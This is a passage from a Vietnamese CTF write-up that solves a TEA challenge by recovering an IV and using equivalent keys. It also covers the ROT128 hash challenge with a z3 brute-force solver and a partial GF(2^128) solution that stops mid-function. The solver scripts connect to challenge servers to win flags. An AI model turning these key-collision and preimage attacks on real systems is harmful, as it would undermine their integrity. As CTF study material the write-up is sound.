        msk = (<span class="hljs-number">1</span> &lt;&lt; (self.BLOCK_SIZE//<span class="hljs-number">2</span>)) - <span class="hljs-number">1</span>

        m0 = c &gt;&gt; (self.BLOCK_SIZE//<span class="hljs-number">2</span>)
        m1 = c &amp; ((<span class="hljs-number">1</span> &lt;&lt; (self.BLOCK_SIZE//<span class="hljs-number">2</span>)) - <span class="hljs-number">1</span>)

        s = self.DELTA * <span class="hljs-number">32</span>
        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">32</span>):
            m1 -= ((m0 &lt;&lt; <span class="hljs-number">4</span>) + K[<span class="hljs-number">2</span>]) ^ (m0 + s) ^ ((m0 &gt;&gt; <span class="hljs-number">5</span>) + K[<span class="hljs-number">3</span>])
            m1 &amp;= msk
            m0 -= ((m1 &lt;&lt; <span class="hljs-number">4</span>) + K[<span class="hljs-number">0</span>]) ^ (m1 + s) ^ ((m1 &gt;&gt; <span class="hljs-number">5</span>) + K[<span class="hljs-number">1</span>])
            m0 &amp;= msk
            s -= self.DELTA

        m = (m0 &lt;&lt; (self.BLOCK_SIZE//<span class="hljs-number">2</span>)) | m1
        <span class="hljs-keyword">return</span> l2b(m)

pt = <span class="hljs-string">'712ebc63b7ee138ddf8e2405309c38448b310e6d'</span>
key = <span class="hljs-string">b'1'</span> * <span class="hljs-number">16</span>
ct = <span class="hljs-string">'ac442644f6e843e4382da8864248e85751ef723cc9a14d34'</span>

pt, ct = bytes.fromhex(pt), bytes.fromhex(ct)
cipher = Cipher(key)
temp = cipher.decrypt(ct)
IV = cipher._xor(temp, pt)[:<span class="hljs-number">8</span>]
print(IV)
</code></pre>
<p>(Nhớ dùng lại file như bài <code>Iced TEA</code>. <code>pt</code> và <code>ct</code> ở trên là mình lấy từ server, còn <code>key</code> là của mình gửi lên)</p>
<p>Tìm được <code>IV = b'\r\xdd\xd2w&lt;\xf4\xb9\x08'</code> (chỉ 8 bytes thôi nên đừng confuse 🐒, just chill). Việc tìm lại <code>IV</code> rất có ý nghĩa cho attack của mình vì mình phải gửi lên <code>ct</code> đã <code>encrypt</code> bằng <code>key</code> và <code>IV</code>.</p>
<p>Công việc tiếp theo yêu cầu chúng ta kiến thức về <code>Equivalent keys</code>. Tài liệu tham khảo về <code>Equivalent keys</code> có thể xem ở mục 3.5 trong <a target="_blank" href="https://www.tayloredge.com/reference/Mathematics/VRAndem.pdf">đây</a> (shout-out anh <code>Thangcoithongminh</code> 🔥). Vì paper đã viết khá rõ rồi nên mình sẽ chỉ giải thích vulnerability thôi. Nếu nhìn vào hàm <code>encrypt_block</code> trong class <code>Cipher</code>:</p>
<p><img src="https://hackmd.io/_uploads/H1gRQFb0T.png" alt="Vul" /></p>
<p>Thì ai cũng sẽ nhận ra vấn đề các <code>key</code> khác nhau có thể mã hóa giống nhau cho một bản rõ, ở đây maximum chỉ tìm được 3 <code>key</code> khác nên số vòng test <code>key</code> là 4 :monkey:</p>
<p>Dài dòng như trên nhưng cuối cùng kiểu gì cũng sẽ tìm được 4 keys lần lượt là:</p>
<pre><code class="lang-plaintext">h = 0x80000000

K0 = k0 + k1 + k2 + k3
K1 = k0 + k1 + xor(k2, h) + xor(k3, h)
K2 = xor(k0, h) + xor(k1, h) + k2 + k3
K3 = xor(k0, h) + xor(k1, h) + xor(k2, h) + xor(k3, h)
</code></pre>
<p>Tới đây thì done, mình đã có các <code>key</code> rồi, giờ đem đi thử nghiệm thôi:</p>
<pre><code class="lang-python">pt = <span class="hljs-string">'712ebc63b7ee138ddf8e2405309c38448b310e6d'</span>
key = <span class="hljs-string">b'1'</span> * <span class="hljs-number">16</span>
ct = <span class="hljs-string">'ac442644f6e843e4382da8864248e85751ef723cc9a14d34'</span>
pt, ct = bytes.fromhex(pt), bytes.fromhex(ct)
IV = <span class="hljs-string">b'\r\xdd\xd2w&lt;\xf4\xb9\x08'</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">keys</span>(<span class="hljs-params">key</span>):</span>
    h = <span class="hljs-number">0x80000000</span>
    h = l2b(h)

    k = [key[i:i+<span class="hljs-number">4</span>] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>)]
    K0 = k[<span class="hljs-number">0</span>] + k[<span class="hljs-number">1</span>] + k[<span class="hljs-number">2</span>] + k[<span class="hljs-number">3</span>]
    K1 = k[<span class="hljs-number">0</span>] + k[<span class="hljs-number">1</span>] + xor(k[<span class="hljs-number">2</span>], h) + xor(k[<span class="hljs-number">3</span>], h)
    K2 = xor(k[<span class="hljs-number">0</span>], h) + xor(k[<span class="hljs-number">1</span>], h) + k[<span class="hljs-number">2</span>] + k[<span class="hljs-number">3</span>]
    K3 = xor(k[<span class="hljs-number">0</span>], h) + xor(k[<span class="hljs-number">1</span>], h) + xor(k[<span class="hljs-number">2</span>], h) + xor(k[<span class="hljs-number">3</span>], h)
    <span class="hljs-keyword">return</span> [K0, K1, K2, K3]


<span class="hljs-keyword">for</span> key <span class="hljs-keyword">in</span> keys(key):
    cipher = Cipher(key, IV)
    test = cipher.encrypt(pt)
    print(test == ct)
</code></pre>
<p>Gotcha, giờ mình sẽ viết full code cho bài:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> source <span class="hljs-keyword">import</span> Cipher
<span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">keys</span>(<span class="hljs-params">key: bytes</span>):</span>
    h = <span class="hljs-number">0x80000000</span>
    h = long_to_bytes(h)

    k = [key[i:i+<span class="hljs-number">4</span>] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, <span class="hljs-number">16</span>, <span class="hljs-number">4</span>)]
    K0 = k[<span class="hljs-number">0</span>] + k[<span class="hljs-number">1</span>] + k[<span class="hljs-number">2</span>] + k[<span class="hljs-number">3</span>]
    K1 = k[<span class="hljs-number">0</span>] + k[<span class="hljs-number">1</span>] + xor(k[<span class="hljs-number">2</span>], h) + xor(k[<span class="hljs-number">3</span>], h)
    K2 = xor(k[<span class="hljs-number">0</span>], h) + xor(k[<span class="hljs-number">1</span>], h) + k[<span class="hljs-number">2</span>] + k[<span class="hljs-number">3</span>]
    K3 = xor(k[<span class="hljs-number">0</span>], h) + xor(k[<span class="hljs-number">1</span>], h) + xor(k[<span class="hljs-number">2</span>], h) + xor(k[<span class="hljs-number">3</span>], h)
    <span class="hljs-keyword">return</span> [K0, K1, K2, K3]

HOST = <span class="hljs-string">'83.136.254.199'</span>
PORT = <span class="hljs-number">36738</span>
IV = <span class="hljs-string">b'\r\xdd\xd2w&lt;\xf4\xb9\x08'</span>

r = remote(HOST, PORT)
r.recvuntil(<span class="hljs-string">b': '</span>)
sm = r.recvuntil(<span class="hljs-string">b'\n'</span>).split(<span class="hljs-string">b'\n'</span>)[<span class="hljs-number">0</span>].decode()

<span class="hljs-keyword">for</span> round <span class="hljs-keyword">in</span> range(<span class="hljs-number">10</span>):
    key = (str(round) * <span class="hljs-number">16</span>).encode()
    ct = Cipher(key=key, iv=IV).encrypt(bytes.fromhex(sm))
    r.sendlineafter(<span class="hljs-string">b' (in hex) : '</span>, bytes.hex(ct).encode())
    temp = keys(key)
    <span class="hljs-keyword">for</span> k <span class="hljs-keyword">in</span> temp: 
        r.sendlineafter(<span class="hljs-string">b'(in hex) : '</span>, bytes.hex(k).encode())
    print(<span class="hljs-string">f'Finish round number: <span class="hljs-subst">{round + <span class="hljs-number">1</span>}</span> !!!'</span>)
    <span class="hljs-keyword">if</span> round == <span class="hljs-number">9</span>:
        print(r.recv().decode())
</code></pre>
<h3 id="heading-flag-21">Flag</h3>
<p><code>HTB{th1s_4tt4ck_m4k3s_T34_1n4ppr0pr14t3_f0r_h4sh1ng!}</code></p>
<h2 id="heading-rot128">ROT128</h2>
<p><strong><em>credit: Zupp</em></strong></p>
<h3 id="heading-description-8">Description</h3>
<ul>
<li>Source:</li>
</ul>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> random, os, signal
<span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> long_to_bytes <span class="hljs-keyword">as</span> l2b, bytes_to_long <span class="hljs-keyword">as</span> b2l
<span class="hljs-keyword">from</span> secret <span class="hljs-keyword">import</span> FLAG

ROUNDS = <span class="hljs-number">3</span>
USED_STATES = []
_ROL_ = <span class="hljs-keyword">lambda</span> x, i : ((x &lt;&lt; i) | (x &gt;&gt; (N-i))) &amp; (<span class="hljs-number">2</span>**N - <span class="hljs-number">1</span>)
N = <span class="hljs-number">128</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">handler</span>(<span class="hljs-params">signum, frame</span>):</span>
    print(<span class="hljs-string">"\n\nToo slow, don't try to do sneaky things."</span>)
    exit()

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">validate_state</span>(<span class="hljs-params">state</span>):</span>
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> all(<span class="hljs-number">0</span> &lt; s &lt; <span class="hljs-number">2</span>**N<span class="hljs-number">-1</span> <span class="hljs-keyword">for</span> s <span class="hljs-keyword">in</span> user_state[<span class="hljs-number">-2</span>:]) <span class="hljs-keyword">or</span> <span class="hljs-keyword">not</span> all(<span class="hljs-number">0</span> &lt;= s &lt; N <span class="hljs-keyword">for</span> s <span class="hljs-keyword">in</span> user_state[:<span class="hljs-number">4</span>]):
        print(<span class="hljs-string">'Please, make sure your input satisfies the upper and lower bounds.'</span>)
        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>

    <span class="hljs-keyword">if</span> sorted(state[:<span class="hljs-number">4</span>]) <span class="hljs-keyword">in</span> USED_STATES:
        print(<span class="hljs-string">'You cannot reuse the same state'</span>)
        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>

    <span class="hljs-keyword">if</span> sum(user_state[:<span class="hljs-number">4</span>]) &lt; <span class="hljs-number">2</span>:
        print(<span class="hljs-string">'We have to deal with some edge cases...'</span>)
        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>

    <span class="hljs-keyword">return</span> <span class="hljs-literal">True</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">HashRoll</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self</span>):</span>
        self.reset_state()

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">hash_step</span>(<span class="hljs-params">self, i</span>):</span>
        r1, r2 = self.state[<span class="hljs-number">2</span>*i], self.state[<span class="hljs-number">2</span>*i+<span class="hljs-number">1</span>]
        <span class="hljs-keyword">return</span> _ROL_(self.state[<span class="hljs-number">-2</span>], r1) ^ _ROL_(self.state[<span class="hljs-number">-1</span>], r2)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">update_state</span>(<span class="hljs-params">self, state=None</span>):</span>
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> state:
            self.state = [<span class="hljs-number">0</span>] * <span class="hljs-number">6</span>
            self.state[:<span class="hljs-number">4</span>] = [random.randint(<span class="hljs-number">0</span>, N) <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(<span class="hljs-number">4</span>)]
            self.state[<span class="hljs-number">-2</span>:] = [random.randint(<span class="hljs-number">0</span>, <span class="hljs-number">2</span>**N) <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(<span class="hljs-number">2</span>)]
        <span class="hljs-keyword">else</span>:
            self.state = state

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">reset_state</span>(<span class="hljs-params">self</span>):</span>
        self.update_state()

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">digest</span>(<span class="hljs-params">self, buffer</span>):</span>
        buffer = int.from_bytes(buffer, byteorder=<span class="hljs-string">'big'</span>)
        m1 = buffer &gt;&gt; N
        m2 = buffer &amp; (<span class="hljs-number">2</span>**N - <span class="hljs-number">1</span>)
        self.h = <span class="hljs-string">b''</span>
        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">2</span>):
            self.h += int.to_bytes(self.hash_step(i) ^ (m1 <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> i <span class="hljs-keyword">else</span> m2), length=N//<span class="hljs-number">8</span>, byteorder=<span class="hljs-string">'big'</span>)
        <span class="hljs-keyword">return</span> self.h


print(<span class="hljs-string">'Can you test my hash function for second preimage resistance? You get to select the state and I get to choose the message ... Good luck!'</span>)

hashfunc = HashRoll()

<span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(ROUNDS):
    print(<span class="hljs-string">f'ROUND <span class="hljs-subst">{_+<span class="hljs-number">1</span>}</span>/<span class="hljs-subst">{ROUNDS}</span>!'</span>)

    server_msg = os.urandom(<span class="hljs-number">32</span>)
    hashfunc.reset_state()
    server_hash = hashfunc.digest(server_msg)
    print(<span class="hljs-string">f'You know H(<span class="hljs-subst">{server_msg.hex()}</span>) = <span class="hljs-subst">{server_hash.hex()}</span>'</span>)

    signal.signal(signal.SIGALRM, handler)
    signal.alarm(<span class="hljs-number">2</span>)

    user_state = input(<span class="hljs-string">'Send your hash function state (format: a,b,c,d,e,f) :: '</span>).split(<span class="hljs-string">','</span>)

    <span class="hljs-keyword">try</span>:
        user_state = list(map(int, user_state))

        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> validate_state(user_state):
            print(<span class="hljs-string">"The state is not valid! Try again."</span>)
            exit()

        hashfunc.update_state(user_state)

        <span class="hljs-keyword">if</span> hashfunc.digest(server_msg) == server_hash:
            print(<span class="hljs-string">f'Moving on to the next round!'</span>)
            USED_STATES.append(sorted(user_state[:<span class="hljs-number">4</span>]))
        <span class="hljs-keyword">else</span>:
            print(<span class="hljs-string">'Not today.'</span>)
            exit()
    <span class="hljs-keyword">except</span>:
        print(<span class="hljs-string">"The hash function's state must be all integers."</span>)
        exit()
    <span class="hljs-keyword">finally</span>:
       signal.alarm(<span class="hljs-number">0</span>)

print(<span class="hljs-string">f'Uhm... how did you do that? I thought I had cryptanalyzed it enough ... <span class="hljs-subst">{FLAG}</span>'</span>)
</code></pre>
<h3 id="heading-solution-8">Solution</h3>
<p>Bài này là bài lỏ nhất mình từng làm, một là vì có cả unintended solution, hai là bài này hơi quá khó để mình giải và thực sự học được gì đó. Tuy nhiên mình sẽ cố để hấp thụ tinh hoa trong bài toán này.</p>
<p>Trước hết, file source gợi ý cho mình về ý tưởng khai thác second preimage resistance của hàm băm tự chế <code>HashRoll()</code>. Chúng ta sẽ cần break 3 lần liên tiếp để server nhả flag. Về công việc trong mỗi vòng, mình có thể tóm tắt lại như sau:</p>
<ul>
<li><p>Server đẻ ra một <code>server_msg</code> với 32 bytes, sau đó trả ra cho chúng ta một hàm băm của <code>server_msg</code> gọi là <code>server_hash = H(server_msg)</code></p>
</li>
<li><p>Trong 2s, chúng ta sẽ cần nhập vào các <code>user_state</code> hợp lệ, sau đó server sẽ thử băm <code>user_state</code> ra, nếu <code>H(user_state) = server_hash</code> thì chuyển tới vòng tiếp theo.</p>
<p>  Như vậy, công việc chính của mỗi vòng là tìm <code>user_state</code>, tạm gọi là <code>S'</code> sao cho <code>H(S') = H(S)</code>, với <code>S</code> là <code>server_msg</code>. Trong đó, <code>S'</code> (cũng như <code>S</code>) gồm có các thành phần <code>a</code>, <code>b</code>, <code>c</code>, <code>d</code> là số bits để <code>ROL - left rotate</code> (dịch vòng trái) và <code>e</code>, <code>f</code> là hai số 128 bits sắp <code>ROLed</code>. Tuy nhiên, có hai điều cần phải lưu ý, <code>S'</code> cần phải hợp lệ, tức là:</p>
<ul>
<li><p>Không được reuse lại <code>S'</code></p>
</li>
<li><p>Tổng <code>a + b + c + d</code> không được nhỏ hơn 2 (tránh vài trường hợp đặc biệt)</p>
</li>
<li><p><code>a</code>, <code>b</code>, <code>c</code>, <code>d</code> phải nằm trong nửa đoạn <code>[0, 128)</code>, <code>e</code> và <code>f</code> phải nằm trong khoảng <code>(0, 2^128 - 1)</code></p>
</li>
</ul>
</li>
</ul>
<p>    Tất cả mọi thứ đều được phân tích xong, đã biết được chúng ta cần gửi lên server bộ số <code>(a, b, c, d, e, f)</code> sao cho</p>
<pre><code class="lang-plaintext">H(S') = H(S)
&lt;=&gt; h1' + h2' = ROL(e, a) ^ ROL(f, b) ^ m1 + ROL(e, c) ^ ROL(f, d) ^ m2 = h1 + h2
</code></pre>
<p>Giờ mình sẽ đi tới cách attack, theo cả unintended và intended solution.</p>
<p><strong>Unintended solution</strong></p>
<blockquote>
<p>Unintended solution này xảy ra vì chúng ta có thể dùng <code>z3</code> để giải. Khi đề bài cho mình <code>server_msg</code> (<code>S</code>) và <code>server_hash</code> (<code>H(S)</code>)cũng đồng nghĩa với việc chúng ta có được các giá trị <code>h1</code>, <code>h2</code> (từ <code>H(S)</code>) và <code>m1</code>, <code>m2</code> (từ <code>S</code>). Về chi tiết mình sẽ không đi quá sâu mà chỉ gợi ý tìm bằng cách khai thác <code>buffer</code> vì <code>buffer = l2b(S)</code>. Từ đây, chắc chắn một điều ta có thể giải ra bộ số <code>(a, b, c, d, e, f)</code> thỏa mãn <code>h1' + h2' = h1 + h2</code> như trên bằng <code>z3</code>. Đóng gói bộ số này gửi lên server là xong:</p>
</blockquote>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> z3 <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> re

HOST = 
PORT = 

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">find_hex_strings</span>(<span class="hljs-params">text</span>):</span>
    pattern = <span class="hljs-string">r'\b[a-fA-F0-9]{64}\b'</span>
    hex_strings = re.findall(pattern, text)
    <span class="hljs-keyword">return</span> hex_strings
<span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
    <span class="hljs-keyword">try</span>:
        r = remote(HOST, PORT)

        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">3</span>):
            data = r.recvuntil(<span class="hljs-string">b"Send your hash function state (format: a,b,c,d,e,f) ::"</span>).decode()

            data = find_hex_strings(data)
            buffer = int(data[<span class="hljs-number">0</span>], <span class="hljs-number">16</span>)
            h = data[<span class="hljs-number">1</span>]

            N = <span class="hljs-number">128</span>
            _ROL_ = <span class="hljs-keyword">lambda</span> x, i: ((x &lt;&lt; i) | (x &gt;&gt; (N-i))) &amp; (<span class="hljs-number">2</span>**N - <span class="hljs-number">1</span>)

            m1 = buffer &gt;&gt; N
            m2 = buffer &amp; (<span class="hljs-number">2</span>**N - <span class="hljs-number">1</span>)

            h1 = int(h[:<span class="hljs-number">32</span>], <span class="hljs-number">16</span>) ^ m1 
            h2 = int(h[<span class="hljs-number">32</span>:], <span class="hljs-number">16</span>) ^ m2

            solver = Solver()

            <span class="hljs-comment"># Declare e and f as 128 bit BitVecs</span>
            e, f = BitVecs(<span class="hljs-string">'e f'</span>, N)

            <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">constraint_ROL_xor</span>(<span class="hljs-params">e, f, i1, i2, h</span>):</span>
                <span class="hljs-keyword">return</span> _ROL_(e, i1) ^ _ROL_(f, i2) == h


            a, b, c, d = BitVecs(<span class="hljs-string">'a b c d'</span>, <span class="hljs-number">7</span>)
            a,b,c,d = ZeroExt(<span class="hljs-number">128</span><span class="hljs-number">-7</span>, a), ZeroExt(<span class="hljs-number">128</span><span class="hljs-number">-7</span>, b), ZeroExt(<span class="hljs-number">128</span><span class="hljs-number">-7</span>, c), ZeroExt(<span class="hljs-number">128</span><span class="hljs-number">-7</span>, d)

            solver.add(constraint_ROL_xor(e, f, a, b, h1))
            solver.add(constraint_ROL_xor(e, f, c, d, h2))

            <span class="hljs-keyword">if</span> solver.check() == sat:
                m = solver.model()
                print(m)
                dict = {d.name(): m[d] <span class="hljs-keyword">for</span> d <span class="hljs-keyword">in</span> m.decls()}
                res = <span class="hljs-string">f"<span class="hljs-subst">{dict[<span class="hljs-string">'a'</span>]}</span>,<span class="hljs-subst">{dict[<span class="hljs-string">'b'</span>]}</span>,<span class="hljs-subst">{dict[<span class="hljs-string">'c'</span>]}</span>,<span class="hljs-subst">{dict[<span class="hljs-string">'d'</span>]}</span>,<span class="hljs-subst">{dict[<span class="hljs-string">'e'</span>]}</span>,<span class="hljs-subst">{dict[<span class="hljs-string">'f'</span>]}</span>"</span>
                r.sendline(res.encode())
                r.recvline()
                print(r.recvline())

    <span class="hljs-keyword">except</span>:
        <span class="hljs-keyword">pass</span>
</code></pre>
<p>(Shout-out anh <code>lilthawg</code> vì bộ code lỏ này 🔥)</p>
<p>Tuy nhiên không nên vứt máy một chỗ rùi chạy code vì code brute vô hạn không ngừng có lúc đúng có lúc sai và sẽ có một lúc nào đó mọi người không ngờ mà flag lòi ra đâu 🐧</p>
<h4 id="heading-intended-solution">Intended solution</h4>
<blockquote>
<p>Về intended solution của bài này thì dài kinh khủng khiếp (vì là Insane mà). Tuy nhiên, có thể thu nhỏ vấn đề lại về bài viết <a target="_blank" href="https://crypto.stackexchange.com/questions/107005/a-problem-related-to-two-bitwise-sums-of-rotations-of-two-different-bitstrings">này</a></p>
<p>Nếu đọc bài viết trên, ta có thể hình thành hoàn toàn lời giải cho bài này, tuy nhiên mình cần làm rõ một vài vấn đề:</p>
<p>Ta đã biết phép <code>xor</code> chính là phép cộng trong trường <code>Fp</code> với <code>p = 2</code>, vậy còn phép dịch trái thì sao. Dịch trái 1 bit tương ứng với việc nhân số đó với 2^1, 2 bits là nhân với 2^2, tổng quát lại, dịch k bits là nhân với 2^k.</p>
<p>Tuy nhiên, nếu phần tử <code>A</code> của ta là đa thức, khi đó, ta gọi trường hữu hạn <code>Fp</code> trên là một vành đa thức (polynomial rings) <code>Fp[z]</code> thỏa mãn <code>A</code> là một tổ hợp tuyến tính của <code>a[i] * z^i</code>, <code>a[i]</code> là phần tử của <code>Fp</code>. Trong bài này, trường nghiên cứu là <code>GF(2^128)</code></p>
<p>Vậy kiến thức này liên quan đến gì tới bài, thực ra nhiều là đằng khác. Xét cách biểu diễn đa thức của một số trong trường <code>GF(2^k)</code> - là trường Galois đã gặp trong mã hóa AES với <code>k = 3</code>, ta có <code>GF(2^3)</code> và trường này có 8 phần tử phân biệt từ 0 đến 7, cụ thể như sau:</p>
</blockquote>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Số</td><td>Biểu diễn nhị phân</td><td>Biểu diễn đa thức</td></tr>
</thead>
<tbody>
<tr>
<td>0</td><td>000</td><td>0x^2 + 0x^1 + 0x^0 = 0</td></tr>
<tr>
<td>1</td><td>001</td><td>0x^2 + 0x^1 + 1x^0 = 1</td></tr>
<tr>
<td>2</td><td>010</td><td>0x^2 + 1x^1 + 0x^0 = x</td></tr>
<tr>
<td>3</td><td>011</td><td>0x^2 + 1x^1 + 1x^0 = x + 1</td></tr>
<tr>
<td>4</td><td>100</td><td>1x^2 + 0x^1 + 0x^0 = x^2</td></tr>
<tr>
<td>5</td><td>101</td><td>1x^2 + 0x^1 + 1x^0 = x^2 + 1</td></tr>
<tr>
<td>6</td><td>110</td><td>1x^2 + 1x^1 + 0x^0 = x^2 + x</td></tr>
<tr>
<td>7</td><td>111</td><td>1x^2 + 1x^1 + 1x^0 = x^2 + x + 1</td></tr>
</tbody>
</table>
</div><ul>
<li>Nói cách khác, các phần tử trong trường <code>GF(2^8)</code> được biểu diễn dưới dạng trên (cột 3). Nếu ta <code>xor</code> hai phần tử với nhau, giả sử <code>7 xor 3</code> sẽ nhận được kết quả là <code>x^2</code>, vì:</li>
</ul>
<pre><code class="lang-plaintext">7 xor 3
= 7 + 3 (mod 2)
= (x^2 + x + 1) + (x + 1) (mod 2)
= x^2 + 2x + 2 (mod 2)
= x^2 (mod 2)
</code></pre>
<p>Đối với bài, trường chúng ta làm việc sẽ là <code>GF(2^128)</code> và chứa 128 phần tử từ 0 đến 127. Khi đó, nếu tính <code>h1'</code> và <code>h2'</code> như bài, ta sẽ thực hiện:</p>
<pre><code class="lang-plaintext">h1' = ROL(e, a) ^ ROL(f, b) ^ m1
h2' = ROL(e, c) ^ ROL(f, d) ^ m2

&lt;=&gt; h1' ^ m1 = ROL(e, a) ^ ROL(f, b)
    h2' ^ m2 = ROL(e, c) ^ ROL(f, d)
- Nếu chọn a = c, khi đó:
h1' ^ m1 = ROL(e, a) + 2**b * f
h2' ^ m2 = ROL(e, a) + 2**d * f (theo như lí thuyết ở trên)

=&gt; h1' ^ m1 ^ h2' ^ m2 = 2**b * f ^ 2**d * f
=&gt; h1' ^ m1 ^ h2' ^ m2 = (2**b ^ 2**d)f
=&gt; f = (h1' ^ m1 ^ h2' ^ m2) / (2**b ^ 2**d)
=&gt; f = (h1 ^ h2 ^ m1 ^ m2) / (2**b ^ 2**d)
+ Đến đây chỉ cần check factor như bài viết trong link là được

- Ta có ROL(e, a) = 2**a * e
=&gt; 2**a = ROL(e, a) / e
=&gt; a = log2(ROL(e, a) / e)
+ Đến đây cũng check factor như bài viết trong link

- Lại có e = ROL(e, a) / (2**a)
=&gt; e = (h1' ^ m1 - ROL(f, b)) / (2**a)
=&gt; e = (h1 ^ m1 - ROL(f, b)) / (2**a)
</code></pre>
<p>Vậy chúng ta đã có đầy đủ bộ số <code>(e, f)</code> dựa vào <code>(a, b, c, d)</code> và <code>(h1, h2, m1, m2)</code> thỏa mãn yêu cầu đề bài, vậy attack thôi.</p>
<p>Code:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> process
<span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> long_to_bytes <span class="hljs-keyword">as</span> l2b, bytes_to_long <span class="hljs-keyword">as</span> b2l
<span class="hljs-keyword">import</span> itertools, math
<span class="hljs-keyword">from</span> sage.all <span class="hljs-keyword">import</span> *

N = <span class="hljs-number">128</span>
F = GF(<span class="hljs-number">2</span>**N, <span class="hljs-string">'w'</span>)
w = F.gen()
PR = PolynomialRing(GF(<span class="hljs-number">2</span>), <span class="hljs-string">'z'</span>)
z = PR.gen()
_ROL_ = <span class="hljs-keyword">lambda</span> x, i : ((x &lt;&lt; i) | (x &gt;&gt; (N-i))) &amp; (<span class="hljs-number">2</span>**N - <span class="hljs-number">1</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">int2pre</span>(<span class="hljs-params">i</span>):</span>
    coeffs = list(map(int, bin(i)[<span class="hljs-number">2</span>:].zfill(N)))[::<span class="hljs-number">-1</span>]
    <span class="hljs-keyword">return</span> PR(coeffs)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">pre2int</span>(<span class="hljs-params">p</span>):</span>
    coeffs = p.coefficients(sparse=<span class="hljs-literal">False</span>)
    <span class="hljs-keyword">return</span> sum(<span class="hljs-number">2</span>**i * int(coeffs[i]) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(coeffs)))

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">pre2int</span>(<span class="hljs-params">p</span>):</span>
    coeffs = p.coefficients(sparse=<span class="hljs-literal">False</span>)
    <span class="hljs-keyword">return</span> sum(<span class="hljs-number">2</span>**i * int(coeffs[i]) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(coeffs)))

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_all_bd</span>():</span>
    powers = <span class="hljs-string">'0123456789'</span>
    cands = itertools.product(powers, repeat=<span class="hljs-number">2</span>)
    bd = {}
    <span class="hljs-keyword">for</span> cand <span class="hljs-keyword">in</span> set(cands):
        b = int(cand[<span class="hljs-number">0</span>])
        d = int(cand[<span class="hljs-number">1</span>])
        s = <span class="hljs-number">2</span>**b + <span class="hljs-number">2</span>**d
        bd[s] = sorted([b, d])
    <span class="hljs-keyword">return</span> bd

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_b_and_d</span>(<span class="hljs-params">H, bd, visited</span>):</span>
    factors = sorted([F(i**j).integer_representation() <span class="hljs-keyword">for</span> i,j <span class="hljs-keyword">in</span> list(H.factor())])
    <span class="hljs-keyword">for</span> fact <span class="hljs-keyword">in</span> factors:
        <span class="hljs-keyword">if</span> fact <span class="hljs-keyword">in</span> visited: <span class="hljs-keyword">continue</span>
        <span class="hljs-keyword">if</span> fact <span class="hljs-keyword">in</span> bd:
            b, d = bd[fact]
            visited.append(fact)
            <span class="hljs-keyword">return</span> (b, d)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_a_and_c</span>(<span class="hljs-params">numer</span>):</span>
    numer_factors = sorted([F(i**j).integer_representation() <span class="hljs-keyword">for</span> i,j <span class="hljs-keyword">in</span> list(numer.factor())])
    cands = []
    <span class="hljs-keyword">for</span> factor <span class="hljs-keyword">in</span> numer_factors:
        a = int(math.log2(factor))
        <span class="hljs-keyword">if</span> <span class="hljs-number">2</span>**a == factor:
            c = a
            cands.append((a, c))
    <span class="hljs-keyword">return</span> cands

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">solve</span>(<span class="hljs-params">io, bd, used_states, visited</span>):</span>
    io.recvuntil(<span class="hljs-string">b'H('</span>)
    server_msg = int(io.recv(<span class="hljs-number">64</span>), <span class="hljs-number">16</span>)
